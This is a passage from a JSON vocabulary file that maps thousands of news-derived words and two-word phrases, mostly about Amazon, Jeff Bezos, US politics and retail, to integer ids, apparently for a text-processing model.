96560,\n  \"oaxaca\": 96561,\n  \"austere\": 96562,\n  \"layaway\": 96563,\n  \"ran alongside\": 96564,\n  \"van houten\": 96565,\n  \"ami national\": 96566,\n  \"fur\": 96567,\n  \"spending bills\": 96568,\n  \"supernatural heritage\": 96569,\n  \"business unit\": 96570,\n  \"page expo\": 96571,\n  \"added yesterday\": 96572,\n  \"indictments poured\": 96573,\n  \"dollars mdd\": 96574,\n  \"town alleged\": 96575,\n  \"usps network\": 96576,\n  \"delivery promise\": 96577,\n  \"sit right\": 96578,\n  \"photos pakistan\": 96579,\n  \"scare ilhan\": 96580,\n  \"youthful\": 96581,\n  \"endangers\": 96582,\n  \"reasonable price\": 96583,\n  \"troubling irregularities\": 96584,\n  \"direct threat\": 96585,\n  \"technical control\": 96586,\n  \"mismatched people\": 96587,\n  \"hanged\": 96588,\n  \"pearlstein pulitzer\": 96589,\n  \"jesse shapiro\": 96590,\n  \"hedged\": 96591,\n  \"watch warren\": 96592,\n  \"backdoor\": 96593,\n  \"large data\": 96594,\n  \"2018 nshongore\": 96595,\n  \"americans chance\": 96596,\n  \"permanent reduction\": 96597,\n  \"constitutes monopoly\": 96598,\n  \"trump tight\": 96599,\n  \"conditions amazon\": 96600,\n  \"remove presidenttrump\": 96601,\n  \"fee helps\": 96602,\n  \"fundamental aspect\": 96603,\n  \"source reuters\": 96604,\n  \"modern history\": 96605,\n  \"martin right\": 96606,\n  \"lawn\": 96607,\n  \"2018 exact\": 96608,\n  \"maxsa products\": 96609,\n  \"house normal\": 96610,\n  \"labor demand\": 96611,\n  \"level sharper\": 96612,\n  \"using commerce\": 96613,\n  \"national enquirers\": 96614,\n  \"growing photo\": 96615,\n  \"hangs tale\": 96616,\n  \"senior vp\": 96617,\n  \"software providers\": 96618,\n  \"lax prison\": 96619,\n  \"facility workers\": 96620,\n  \"old transfer\": 96621,\n  \"talked\": 96622,\n  \"growth corp\": 96623,\n  \"price parcel\": 96624,\n  \"welfare programs\": 96625,\n  \"somodevilla president\": 96626,\n  \"customers employees\": 96627,\n  \"growth according\": 96628,\n  \"fresh racial\": 96629,\n  \"drawn increasing\": 96630,\n  \"common djia\": 96631,\n  \"report timeline\": 96632,\n  \"agency current\": 96633,\n  \"shoes baby\": 96634,\n  \"rampant militarism\": 96635,\n  \"fight brexit\": 96636,\n  \"suppressed florian\": 96637,\n  \"seattle home\": 96638,\n  \"location offered\": 96639,\n  \"enemies using\": 96640,\n  \"qtt\": 96641,\n  \"accelerated losses\": 96642,\n  \"recommendations pitched\": 96643,\n  \"hc\": 96644,\n  \"list including\": 96645,\n  \"partenheimer believes\": 96646,\n  \"couchbase\": 96647,\n  \"totally eliminated\": 96648,\n  \"computing foundation\": 96649,\n  \"cohen scheduled\": 96650,\n  \"prns limited\": 96651,\n  \"group confronted\": 96652,\n  \"presidential terms\": 96653,\n  \"trend doesn\": 96654,\n  \"mnooks\": 96655,\n  \"thriving regions\": 96656,\n  \"major buy\": 96657,\n  \"polled voters\": 96658,\n  \"poe commercialappeal\": 96659,\n  \"breaking fortune\": 96660,\n  \"workers face\": 96661,\n  \"finance content\": 96662,\n  \"phone carriers\": 96663,\n  \"rice joined\": 96664,\n  \"dollar rose\": 96665,\n  \"ami directly\": 96666,\n  \"watchdog group\": 96667,\n  \"gq\": 96668,\n  \"campaigns president\": 96669,\n  \"edition delivered\": 96670,\n  \"national center\": 96671,\n  \"month ocasio\": 96672,\n  \"39572\": 96673,\n  \"bezos albeit\": 96674,\n  \"size black\": 96675,\n  \"earlier unveiled\": 96676,\n  \"zhu\": 96677,\n  \"scenes access\": 96678,\n  \"emergency empire\": 96679,\n  \"workers tackling\": 96680,\n  \"itep amazon\": 96681,\n  \"shares dive\": 96682,\n  \"weren getting\": 96683,\n  \"secret advice\": 96684,\n  \"segment called\": 96685,\n  \"2651\": 96686,\n  \"holgate\": 96687,\n  \"64gb internal\": 96688,\n  \"strong educational\": 96689,\n  \"sources speaking\": 96690,\n  \"big potential\": 96691,\n  \"committee annual\": 96692,\n  \"amazon brokered\": 96693,\n  \"justice clarence\": 96694,\n  \"colleague carl\": 96695,\n  \"works 2019\": 96696,\n  \"recession david\": 96697,\n  \"case religious\": 96698,\n  \"divorced labour\": 96699,\n  \"fresh cash\": 96700,\n  \"require preferential\": 96701,\n  \"gettingit just\": 96702,\n  \"advisor rich\": 96703,\n  \"evan spiegel\": 96704,\n  \"leader don\": 96705,\n  \"dem perspective\": 96706,\n  \"paparazzo\": 96707,\n  \"far beijing\": 96708,\n  \"scrapped noting\": 96709,\n  \"rendered judgement\": 96710,\n  \"thestreet staff\": 96711,\n  \"stores make\": 96712,\n  \"m2x a4ee\": 96713,\n  \"874 shares\": 96714,\n  \"assets fueling\": 96715,\n  \"opaquely shift\": 96716,\n  \"k1a m4\": 96717,\n  \"actually wants\": 96718,\n  \"police brutality\": 96719,\n  \"nfluencing\": 96720,\n  \"inc_react_displayflag\": 96721,\n  \"unity commission\": 96722,\n  \"schwartz danaschwartzzz\": 96723,\n  \"called germany\": 96724,\n  \"news checkmate\": 96725,\n  \"filers\": 96726,\n  \"persuaded jesuit\": 96727,\n  \"genuinely newsworthy\": 96728,\n  \"single framework\": 96729,\n  \"screen grab\": 96730,\n  \"struggling department\": 96731,\n  \"doyle salt\": 96732,\n  \"freedoms\": 96733,\n  \"fdx announced\": 96734,\n  \"committee withhold\": 96735,\n  \"bindel\": 96736,\n  \"aapl amazon\": 96737,\n  \"class johnson\": 96738,\n  \"amazon inland\": 96739,\n  \"risk shutting\": 96740,\n  \"prevents poor\": 96741,\n  \"cats reagan\": 96742,\n  \"fortunes\": 96743,\n  \"saudis hacked\": 96744,\n  \"wrong dozens\": 96745,\n  \"robin raisfeld\": 96746,\n  \"kass president\": 96747,\n  \"2018 activists\": 96748,\n  \"heightened competition\": 96749,\n  \"hatchet\": 96750,\n  \"seth abramson\": 96751,\n  \"organization services\": 96752,\n  \"reelection\": 96753,\n  \"tiny helpers\": 96754,\n  \"pocketbook 2018\": 96755,\n  \"media van\": 96756,\n  \"fraud transactions\": 96757,\n  \"suggested public\": 96758,\n  \"alleyways\": 96759,\n  \"fortune pinterest\": 96760,\n  \"worth boasting\": 96761,\n  \"kyle crum\": 96762,\n  \"soy sales\": 96763,\n  \"year delayed\": 96764,\n  \"newsedge technology\": 96765,\n  \"bezos titled\": 96766,\n  \"state online\": 96767,\n  \"null cnl_global_nav_background_gradient_end\": 96768,\n  \"chairman bob\": 96769,\n  \"benches\": 96770,\n  \"lawyer fees\": 96771,\n  \"pennsylvania grand\": 96772,\n  \"financially\": 96773,\n  \"resumption\": 96774,\n  \"unbelievable pace\": 96775,\n  \"started leasing\": 96776,\n  \"normal ugly\": 96777,\n  \"peer\": 96778,\n  \"deforest\": 96779,\n  \"fuel speculation\": 96780,\n  \"standard despite\": 96781,\n  \"actual experience\": 96782,\n  \"gadgetmaker limited\": 96783,\n  \"discounted new\": 96784,\n  \"ireland asia\": 96785,\n  \"yudhoyono\": 96786,\n  \"recent decisions\": 96787,\n  \"workers dead\": 96788,\n  \"technology council\": 96789,\n  \"employing union\": 96790,\n  \"tastemade modified\": 96791,\n  \"civics 101\": 96792,\n  \"nuptial arrangement\": 96793,\n  \"trump blew\": 96794,\n  \"unscathed amazon\": 96795,\n  \"episode anthology\": 96796,\n  \"oklahoma north\": 96797,\n  \"employees contributed\": 96798,\n  \"sanchez text\": 96799,\n  \"soviet spies\": 96800,\n  \"smartphone photographs\": 96801,\n  \"2017 presidential\": 96802,\n  \"rejane\": 96803,\n  \"busy work\": 96804,\n  \"model manufacturing\": 96805,\n  \"intersects\": 96806,\n  \"apparel arts\": 96807,\n  \"sided fights\": 96808,\n  \"baity\": 96809,\n  \"2019 bloomingdale\": 96810,\n  \"lifting\": 96811,\n  \"making moves\": 96812,\n  \"earth 200\": 96813,\n  \"recent yelp\": 96814,\n  \"educational outcomes\": 96815,\n  \"contentious kavanaugh\": 96816,\n  \"parcel deliveries\": 96817,\n  \"stone according\": 96818,\n  \"matters google\": 96819,\n  \"expire spokesperson\": 96820,\n  \"parliament decision\": 96821,\n  \"electrified\": 96822,\n  \"republican campaign\": 96823,\n  \"multiple copies\": 96824,\n  \"remotely\": 96825,\n  \"criterion products\": 96826,\n  \"credo\": 96827,\n  \"fromtheir\": 96828,\n  \"h2q\": 96829,\n  \"include treasury\": 96830,\n  \"presidentdonald\": 96831,\n  \"secure\": 96832,\n  \"effort environmental\": 96833,\n  \"grandstanding politicians\": 96834,\n  \"management team\": 96835,\n  \"help small\": 96836,\n  \"literally thousands\": 96837,\n  \"report overnight\": 96838,\n  \"corp abc\": 96839,\n  \"obnoxious\": 96840,\n  \"biggest money\": 96841,\n  \"order establishing\": 96842,\n  \"cool\": 96843,\n  \"including airbnb\": 96844,\n  \"free passage\": 96845,\n  \"amazon ad\": 96846,\n  \"nik sharma\": 96847,\n  \"corporation paying\": 96848,\n  \"imagine disclosure\": 96849,\n  \"requiring phone\": 96850,\n  \"retail firm\": 96851,\n  \"contest backlash\": 96852,\n  \"company limits\": 96853,\n  \"prosecution jury\": 96854,\n  \"doris\": 96855,\n  \"janan\": 96856,\n  \"fla directly\": 96857,\n  \"things usually\": 96858,\n  \"brennan center\": 96859,\n  \"relentless focus\": 96860,\n  \"competitive advantages\": 96861,\n  \"h4e\": 96862,\n  \"million copies\": 96863,\n  \"heated\": 96864,\n  \"mistress lauren\": 96865,\n  \"crucial phase\": 96866,\n  \"backed bolsonaro\": 96867,\n  \"bezos genius\": 96868,\n  \"cdc\": 96869,\n  \"ferrari ibm\": 96870,\n  \"trump automatically\": 96871,\n  \"public sexists\": 96872,\n  \"hosting small\": 96873,\n  \"const video\": 96874,\n  \"senator chuck\": 96875,\n  \"intrigue immigration\": 96876,\n  \"wrote bestselling\": 96877,\n  \"vertical merger\": 96878,\n  \"advertising play\": 96879,\n  \"asia imdb\": 96880,\n  \"fake english\": 96881,\n  \"fraternity\": 96882,\n  \"years apple\": 96883,\n  \"vaunted metro\": 96884,\n  \"churn rates\": 96885,\n  \"katherine faulders\": 96886,\n  \"stamps similar\": 96887,\n  \"create additional\": 96888,\n  \"horrifying jj\": 96889,\n  \"mackenzie journalists\": 96890,\n  \"kristinn hrafnsson\": 96891,\n  \"lee note\": 96892,\n  \"political filmmaking\": 96893,\n  \"logistical resources\": 96894,\n  \"radical ideas\": 96895,\n  \"ilana glazer\": 96896,\n  \"sht donald\": 96897,\n  \"launch number\": 96898,\n  \"leon county\": 96899,\n  \"thumping comeback\": 96900,\n  \"takes great\": 96901,\n  \"helping left\": 96902,\n  \"retailer published\": 96903,\n  \"anderson kristin\": 96904,\n  \"beatles\": 96905,\n  \"stops executing\": 96906,\n  \"computers\": 96907,\n  \"amazon project\": 96908,\n  \"costco revenues\": 96909,\n  \"jaw\": 96910,\n  \"declaration allowing\": 96911,\n  \"additional government\": 96912,\n  \"americans spending\": 96913,\n  \"widens deutsche\": 96914,\n  \"2018 stuff\": 96915,\n  \"2021 calling\": 96916,\n  \"help aluminum\": 96917,\n  \"hearing\": 96918,\n  \"conan\": 96919,\n  \"trump allegations\": 96920,\n  \"seattle entrepreneur\": 96921,\n  \"phenomena\": 96922,\n  \"breath catchingly\": 96923,\n  \"federal revenues\": 96924,\n  \"flagship search\": 96925,\n  \"cheese board\": 96926,\n  \"partner ally\": 96927,\n  \"harvey oswalt\": 96928,\n  \"qauz4tl6ux\": 96929,\n  \"magazine chief\": 96930,\n  \"rewriting\": 96931,\n  \"timely novel\": 96932,\n  \"grog\": 96933,\n  \"inefficient\": 96934,\n  \"equated\": 96935,\n  \"preparing billions\": 96936,\n  \"ubs asset\": 96937,\n  \"declaration form\": 96938,\n  \"modern efficiencies\": 96939,\n  \"__proto__\": 96940,\n  \"virginia shift\": 96941,\n  \"joe_depaolo\": 96942,\n  \"london cnnmoney\": 96943,\n  \"starred harrison\": 96944,\n  \"deruiter everywhereist\": 96945,\n  \"cranberry juice\": 96946,\n  \"verge reports\": 96947,\n  \"private schools\": 96948,\n  \"mexico tower\": 96949,\n  \"bezos stake\": 96950,\n  \"prices prices\": 96951,\n  \"president gleefully\": 96952,\n  \"plead\": 96953,\n  \"misused\": 96954,\n  \"exploited rationally\": 96955,\n  \"unrelenting protection\": 96956,\n  \"enormous bird\": 96957,\n  \"jets captured\": 96958,\n  \"investigating jeff\": 96959,\n  \"long auction\": 96960,\n  \"department staffers\": 96961,\n  \"celebration\": 96962,\n  \"brokerage firm\": 96963,\n  \"surveillance business\": 96964,\n  \"official probe\": 96965,\n  \"americans instead\": 96966,\n  \"motivated practices\": 96967,\n  \"addressed different\": 96968,\n  \"q4 growth\": 96969,\n  \"pay multi\": 96970,\n  \"surprise schwietzer\": 96971,\n  \"cbs available\": 96972,\n  \"uber market\": 96973,\n  \"software features\": 96974,\n  \"president worst\": 96975,\n  \"term don\": 96976,\n  \"dissenters\": 96977,\n  \"country southern\": 96978,\n  \"doing terrible\": 96979,\n  \"bj\": 96980,\n  \"obama legacy\": 96981,\n  \"trump unfavorably\": 96982,\n  \"isn offering\": 96983,\n  \"men drowned\": 96984,\n  \"company founder\": 96985,\n  \"describes\": 96986,\n  \"enthusiast\": 96987,\n  \"computing market\": 96988,\n  \"firm employees\": 96989,\n  \"proving ground\": 96990,\n  \"partner dan\": 96991,\n  \"discrete\": 96992,\n  \"true story\": 96993,\n  \"wholesale\": 96994,\n  \"andrew pollack\": 96995,\n  \"traffic toronto\": 96996,\n  \"shows reviews\": 96997,\n  \"secretary speaks\": 96998,\n  \"scruffy haired\": 96999,\n  \"operatives trying\": 97000,\n  \"cleaning\": 97001,\n  \"job positions\": 97002,\n  \"guralnick detroit\": 97003,\n  \"pac doled\": 97004,\n  \"line retailer\": 97005,\n  \"office space\": 97006,\n  \"single customers\": 97007,\n  \"karen sebold\": 97008,\n  \"impact airbus\": 97009,\n  \"novel continues\": 97010,\n  \"near pockets\": 97011,\n  \"multicarrier offerings\": 97012,\n  \"start doing\": 97013,\n  \"farmers\": 97014,\n  \"barely knows\": 97015,\n  \"increase pressures\": 97016,\n  \"stay tuned\": 97017,\n  \"met repeatedly\": 97018,\n  \"assurance technician\": 97019,\n  \"war farmers\": 97020,\n  \"liquidate billion\": 97021,\n  \"analyst\": 97022,\n  \"mark according\": 97023,\n  \"european economist\": 97024,\n  \"monetized evaluate\": 97025,\n  \"long feared\": 97026,\n  \"completed trials\": 97027,\n  \"nymag\": 97028,\n  \"counties attend\": 97029,\n  \"carrell introduces\": 97030,\n  \"compelling employer\": 97031,\n  \"ackerman knopf\": 97032,\n  \"conservatives argued\": 97033,\n  \"administration actions\": 97034,\n  \"classic cattleman\": 97035,\n  \"reporting think\": 97036,\n  \"considered bit\": 97037,\n  \"space available\": 97038,\n  \"protracted trade\": 97039,\n  \"rauner camp\": 97040,\n  \"sedo declined\": 97041,\n  \"sanders apart\": 97042,\n  \"times derided\": 97043,\n  \"community service\": 97044,\n  \"aviation\": 97045,\n  \"chandra ram\": 97046,\n  \"img_skyscraperref\": 97047,\n  \"business costco\": 97048,\n  \"member david\": 97049,\n  \"wing voices\": 97050,\n  \"wilson geekwire\": 97051,\n  \"biography johnson\": 97052,\n  \"chadian rebels\": 97053,\n  \"mother jones\": 97054,\n  \"atlantic article\": 97055,\n  \"facebook amazon\": 97056,\n  \"large underpenetrated\": 97057,\n  \"thriving communities\": 97058,\n  \"facebook policy\": 97059,\n  \"new group\": 97060,\n  \"news appear\": 97061,\n  \"allowance\": 97062,\n  \"investor cash\": 97063,\n  \"2008 law\": 97064,\n  \"batteries stuff\": 97065,\n  \"benefits health\": 97066,\n  \"html monopoly\": 97067,\n  \"cnl_custom_article_footer cnl_contenido_contenido_contenido_campa_contenido_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_corriente\": 97068,\n  \"furry socks\": 97069,\n  \"teddy roosevelt\": 97070,\n  \"hazards michael\": 97071,\n  \"passport\": 97072,\n  \"filings staff\": 97073,\n  \"sides want\": 97074,\n  \"uttam dhillon\": 97075,\n  \"large portions\": 97076,\n  \"genuinely ambitious\": 97077,\n  \"partnership owns\": 97078,\n  \"return new\": 97079,\n  \"negotiated job\": 97080,\n  \"bayh\": 97081,\n  \"republican orthodoxy\": 97082,\n  \"combinator demo\": 97083,\n  \"busily doing\": 97084,\n  \"news blogs\": 97085,\n  \"hd sydney\": 97086,\n  \"regulators black\": 97087,\n  \"hehas\": 97088,\n  \"fools\": 97089,\n  \"stations broadcast\": 97090,\n  \"handle local\": 97091,\n  \"amazon robust\": 97092,\n  \"maintain mailboxes\": 97093,\n  \"haunting amazon\": 97094,\n  \"earlier ocasio\": 97095,\n  \"meaningful impact\": 97096,\n  \"portly president\": 97097,\n  \"options given\": 97098,\n  \"media strategy\": 97099,\n  \"depot executive\": 97100,\n  \"fusillade\": 97101,\n  \"enhancements starting\": 97102,\n  \"consumer categories\": 97103,\n  \"imdb units\": 97104,\n  \"taking money\": 97105,\n  \"times analysts\": 97106,\n  \"showdown nears\": 97107,\n  \"significant subscription\": 97108,\n  \"mta investigating\": 97109,\n  \"service companions\": 97110,\n  \"endorsed rep\": 97111,\n  \"poring\": 97112,\n  \"hitting lightweight\": 97113,\n  \"watching ceramic\": 97114,\n  \"lewisville dixie\": 97115,\n  \"generated lot\": 97116,\n  \"illegal hush\": 97117,\n  \"consent racial\": 97118,\n  \"tray medium\": 97119,\n  \"aluminum giant\": 97120,\n  \"track amazon\": 97121,\n  \"politicized world\": 97122,\n  \"stop purchasing\": 97123,\n  \"hosting online\": 97124,\n  \"fbi released\": 97125,\n  \"huge power\": 97126,\n  \"package shippers\": 97127,\n  \"absolutely positively\": 97128,\n  \"education netflix\": 97129,\n  \"strongly dislike\": 97130,\n  \"new schools\": 97131,\n  \"spend billion\": 97132,\n  \"harvest customer\": 97133,\n  \"nick jr\": 97134,\n  \"washington computer\": 97135,\n  \"circuited\": 97136,\n  \"china shanghai\": 97137,\n  \"complexity soybeans\": 97138,\n  \"money original\": 97139,\n  \"crabtree pro\": 97140,\n  \"candidates ranked\": 97141,\n  \"squirrel days\": 97142,\n  \"facing global\": 97143,\n  \"minister theresa\": 97144,\n  \"logistic center\": 97145,\n  \"shaping jedi\": 97146,\n  \"topped expectations\": 97147,\n  \"determined google\": 97148,\n  \"shocked\": 97149,\n  \"dovish stance\": 97150,\n  \"rick paterson\": 97151,\n  \"conferences\": 97152,\n  \"page stone\": 97153,\n  \"crippling working\": 97154,\n  \"lay groundwork\": 97155,\n  \"corporate windfall\": 97156,\n  \"right exactly\": 97157,\n  \"winning track\": 97158,\n  \"persuade amazon\": 97159,\n  \"hate jeff\": 97160,\n  \"people voters\": 97161,\n  \"meansfor amazon\": 97162,\n  \"robert books\": 97163,\n  \"diego county\": 97164,\n  \"remotely deleting\": 97165,\n  \"content kavanaugh\": 97166,\n  \"unsurprising\": 97167,\n  \"rightgoing forward\": 97168,\n  \"political leaders\": 97169,\n  \"trump feinstein\": 97170,\n  \"mandates\": 97171,\n  \"create millions\": 97172,\n  \"klein a45\": 97173,\n  \"privacy lapses\": 97174,\n  \"recently scrapped\": 97175,\n  \"traditional inuit\": 97176,\n  \"integrating target\": 97177,\n  \"kanter dennis\": 97178,\n  \"kashfia\": 97179,\n  \"asthma attacks\": 97180,\n  \"makes apple\": 97181,\n  \"post pic\": 97182,\n  \"somalian couple\": 97183,\n  \"personally pressured\": 97184,\n  \"ran anti\": 97185,\n  \"campaign fourteen\": 97186,\n  \"contains\": 97187,\n  \"bezos relied\": 97188,\n  \"613\": 97189,\n  \"generating tax\": 97190,\n  \"telemedicine services\": 97191,\n  \"animated comedy\": 97192,\n  \"suppressing voices\": 97193,\n  \"candy\": 97194,\n  \"magnolia house\": 97195,\n  \"6g\": 97196,\n  \"bay times\": 97197,\n  \"participation\": 97198,\n  \"bezos mention\": 97199,\n  \"infrastructure transportation\": 97200,\n  \"sales international\": 97201,\n  \"modified using\": 97202,\n  \"representative just\": 97203,\n  \"uk arm\": 97204,\n  \"americans nationwide\": 97205,\n  \"new obsessive\": 97206,\n  \"going twitter\": 97207,\n  \"great business\": 97208,\n  \"crucial safety\": 97209,\n  \"tidy profit\": 97210,\n  \"quashed amazon\": 97211,\n  \"washington insistence\": 97212,\n  \"insecurities\": 97213,\n  \"hunters\": 97214,\n  \"partially political\": 97215,\n  \"tobosbunny tobosbunny\": 97216,\n  \"having created\": 97217,\n  \"trout creek\": 97218,\n  \"cars study\": 97219,\n  \"prosaic business\": 97220,\n  \"economic health\": 97221,\n  \"5438 typeahead\": 97222,\n  \"market aims\": 97223,\n  \"garofolo grading\": 97224,\n  \"cuts touted\": 97225,\n  \"fortune exceeds\": 97226,\n  \"chalkboard\": 97227,\n  \"technology markets\": 97228,\n  \"self empowerment\": 97229,\n  \"pastor dawkins\": 97230,\n  \"baek caroline\": 97231,\n  \"media began\": 97232,\n  \"community cbs\": 97233,\n  \"terrifying entry\": 97234,\n  \"interestingly amazon\": 97235,\n  \"grateful north\": 97236,\n  \"slate plus\": 97237,\n  \"democrats walmart\": 97238,\n  \"small device\": 97239,\n  \"revenue compete\": 97240,\n  \"fort lauderdale\": 97241,\n  \"argentina belgium\": 97242,\n  \"hea\": 97243,\n  \"scheduled debt\": 97244,\n  \"seattle validar\": 97245,\n  \"engagements\": 97246,\n  \"child poverty\": 97247,\n  \"goading trump\": 97248,\n  \"ballet\": 97249,\n  \"summer plans\": 97250,\n  \"fact crime\": 97251,\n  \"annual revenue\": 97252,\n  \"negative signs\": 97253,\n  \"jeremy owens\": 97254,\n  \"develops networking\": 97255,\n  \"accusations\": 97256,\n  \"sam\": 97257,\n  \"command adjust\": 97258,\n  \"born melanija\": 97259,\n  \"entire planet\": 97260,\n  \"exploration company\": 97261,\n  \"capital yap\": 97262,\n  \"pretty fun\": 97263,\n  \"enquirer basically\": 97264,\n  \"newspaper industry\": 97265,\n  \"ego wrapped\": 97266,\n  \"perfect suburban\": 97267,\n  \"discussing ways\": 97268,\n  \"zegers celebrates\": 97269,\n  \"abergel phaidon\": 97270,\n  \"editorial board\": 97271,\n  \"seconds venezuela\": 97272,\n  \"day primer\": 97273,\n  \"york comic\": 97274,\n  \"rathner\": 97275,\n  \"ongoing speculation\": 97276,\n  \"nation excelsior\": 97277,\n  \"content credit\": 97278,\n  \"congress national\": 97279,\n  \"politicians representing\": 97280,\n  \"wear\": 97281,\n  \"images showed\": 97282,\n  \"budge\": 97283,\n  \"gov scott\": 97284,\n  \"schweizer appeared\": 97285,\n  \"fda approves\": 97286,\n  \"brand owners\": 97287,\n  \"doubleday\": 97288,\n  \"negotiating session\": 97289,\n  \"switch w5q\": 97290,\n  \"severing\": 97291,\n  \"public mutually\": 97292,\n  \"senior citizens\": 97293,\n  \"cramer want\": 97294,\n  \"tweet references\": 97295,\n  \"report janet\": 97296,\n  \"opposite ideologies\": 97297,\n  \"care launched\": 97298,\n  \"jugular core\": 97299,\n  \"attacks privatizing\": 97300,\n  \"reading takes\": 97301,\n  \"love larger\": 97302,\n  \"sanchez avid\": 97303,\n  \"reformed\": 97304,\n  \"owned shares\": 97305,\n  \"alongside mainstream\": 97306,\n  \"strong critic\": 97307,\n  \"dissident\": 97308,\n  \"important transactional\": 97309,\n  \"wall negotiations\": 97310,\n  \"widening income\": 97311,\n  \"conocophillips hess\": 97312,\n  \"living lie\": 97313,\n  \"legislation 100\": 97314,\n  \"philanthropic sector\": 97315,\n  \"amazon delivering\": 97316,\n  \"steve kerr\": 97317,\n  \"worst car\": 97318,\n  \"brookings metropolitan\": 97319,\n  \"company implements\": 97320,\n  \"groceries walmart\": 97321,\n  \"erratic president\": 97322,\n  \"mammal bird\": 97323,\n  \"national survey\": 97324,\n  \"krx 005930\": 97325,\n  \"florida ballots\": 97326,\n  \"long komonews\": 97327,\n  \"honest cop\": 97328,\n  \"stuff unlock\": 97329,\n  \"promising international\": 97330,\n  \"remarkable person\": 97331,\n  \"raab\": 97332,\n  \"johnson julie\": 97333,\n  \"taking office\": 97334,\n  \"amnesty agreements\": 97335,\n  \"human infested\": 97336,\n  \"observer jeff\": 97337,\n  \"filled day\": 97338,\n  \"balanced journalism\": 97339,\n  \"nun\": 97340,\n  \"comedian john\": 97341,\n  \"important integrators\": 97342,\n  \"page report\": 97343,\n  \"groceries live\": 97344,\n  \"hard ask\": 97345,\n  \"handy\": 97346,\n  \"underlines\": 97347,\n  \"school arrive\": 97348,\n  \"broke away\": 97349,\n  \"administration foreign\": 97350,\n  \"insurance retirement\": 97351,\n  \"jobs adviser\": 97352,\n  \"andreessen horowitz\": 97353,\n  \"police hoping\": 97354,\n  \"says senior\": 97355,\n  \"substance abuse\": 97356,\n  \"balloon depicting\": 97357,\n  \"eva hambach\": 97358,\n  \"outlet estimated\": 97359,\n  \"limits tariffs\": 97360,\n  \"celtic press\": 97361,\n  \"table employees\": 97362,\n  \"anonymous op\": 97363,\n  \"ma openly\": 97364,\n  \"charges israeli\": 97365,\n  \"pichai apple\": 97366,\n  \"moody analyst\": 97367,\n  \"fact lot\": 97368,\n  \"leak hunt\": 97369,\n  \"amazon rails\": 97370,\n  \"woodward amazon\": 97371,\n  \"national health\": 97372,\n  \"updated\": 97373,\n  \"york major\": 97374,\n  \"valuable education\": 97375,\n  \"derives money\": 97376,\n  \"proposed changes\": 97377,\n  \"galloway suggested\": 97378,\n  \"predatory power\": 97379,\n  \"1999\": 97380,\n  \"term dark\": 97381,\n  \"yb e3\": 97382,\n  \"costco walmart\": 97383,\n  \"amazon photo\": 97384,\n  \"blackfridays\": 97385,\n  \"robots inside\": 97386,\n  \"reverse course\": 97387,\n  \"jpg 575x270\": 97388,\n  \"amazon appeared\": 97389,\n  \"administration following\": 97390,\n  \"vesa\": 97391,\n  \"p0\": 97392,\n  \"improve relations\": 97393,\n  \"class rocket\": 97394,\n  \"soft drapery\": 97395,\n  \"mmcgill\": 97396,\n  \"based sock\": 97397,\n  \"far alipay\": 97398,\n  \"china bankrolled\": 97399,\n  \"participants\": 97400,\n  \"write topical\": 97401,\n  \"kamen\": 97402,\n  \"jurisdictional\": 97403,\n  \"publisher controlled\": 97404,\n  \"labs announced\": 97405,\n  \"frank claude\": 97406,\n  \"community supports\": 97407,\n  \"louisiana earlier\": 97408,\n  \"fishy lips\": 97409,\n  \"indian ocean\": 97410,\n  \"listing competing\": 97411,\n  \"brahms\": 97412,\n  \"multiple warnings\": 97413,\n  \"clearly\": 97414,\n  \"big brand\": 97415,\n  \"fiction missing\": 97416,\n  \"amass fortune\": 97417,\n  \"brett archibald\": 97418,\n  \"fair report\": 97419,\n  \"neapolitan novels\": 97420,\n  \"federal ethics\": 97421,\n  \"carr\\u00e9\": 97422,\n  \"biondo\": 97423,\n  \"border read\": 97424,\n  \"future decisions\": 97425,\n  \"checkout aisle\": 97426,\n  \"amazon ebay\": 97427,\n  \"post article\": 97428,\n  \"000 coffee\": 97429,\n  \"retreated amid\": 97430,\n  \"switchboard\": 97431,\n  \"afoul\": 97432,\n  \"transcribes\": 97433,\n  \"fully opposed\": 97434,\n  \"media baron\": 97435,\n  \"educated workers\": 97436,\n  \"platforms mean\": 97437,\n  \"unarguably\": 97438,\n  \"post mention\": 97439,\n  \"child care\": 97440,\n  \"new crime\": 97441,\n  \"government information\": 97442,\n  \"blue waves\": 97443,\n  \"convince readers\": 97444,\n  \"affordable morgan\": 97445,\n  \"think siri\": 97446,\n  \"democrat healy\": 97447,\n  \"bogglingly large\": 97448,\n  \"river lower\": 97449,\n  \"alexandria ocasio\": 97450,\n  \"macfarquhar\": 97451,\n  \"new regulation\": 97452,\n  \"foundation reported\": 97453,\n  \"stocks climbed\": 97454,\n  \"wrecking\": 97455,\n  \"airs\": 97456,\n  \"isidore farms\": 97457,\n  \"purchasing technology\": 97458,\n  \"gambit\": 97459,\n  \"apple computer\": 97460,\n  \"post journalism\": 97461,\n  \"beatdown\": 97462,\n  \"movies anymore\": 97463,\n  \"easily duped\": 97464,\n  \"beliefs\": 97465,\n  \"growth fears\": 97466,\n  \"settlement expenses\": 97467,\n  \"intel putin\": 97468,\n  \"captain flint\": 97469,\n  \"shadow bans\": 97470,\n  \"comment frank\": 97471,\n  \"masculinity inequality\": 97472,\n  \"greenpeace usa\": 97473,\n  \"plunge reuters\": 97474,\n  \"cartel industries\": 97475,\n  \"university according\": 97476,\n  \"hefty fines\": 97477,\n  \"amazon basic\": 97478,\n  \"dalian\": 97479,\n  \"trillion\": 97480,\n  \"counter product\": 97481,\n  \"hointer ceo\": 97482,\n  \"chess photo\": 97483,\n  \"consistent growth\": 97484,\n  \"signed executive\": 97485,\n  \"offers proof\": 97486,\n  \"dated\": 97487,\n  \"market citing\": 97488,\n  \"valley darkest\": 97489,\n  \"purchase vaxxed\": 97490,\n  \"eventually mean\": 97491,\n  \"138 ct\": 97492,\n  \"lug\": 97493,\n  \"drive 4g\": 97494,\n  \"minute commercial\": 97495,\n  \"melton allen\": 97496,\n  \"know women\": 97497,\n  \"offered offered\": 97498,\n  \"trust holds\": 97499,\n  \"team amazon\": 97500,\n  \"mexico set\": 97501,\n  \"coordinates postal\": 97502,\n  \"station\": 97503,\n  \"edward lampert\": 97504,\n  \"open trump\": 97505,\n  \"met gala\": 97506,\n  \"assaulted approached\": 97507,\n  \"walton siblings\": 97508,\n  \"vrxervxswl\": 97509,\n  \"centers scattered\": 97510,\n  \"tic\": 97511,\n  \"structures\": 97512,\n  \"candidates according\": 97513,\n  \"developed taste\": 97514,\n  \"poor customer\": 97515,\n  \"knock 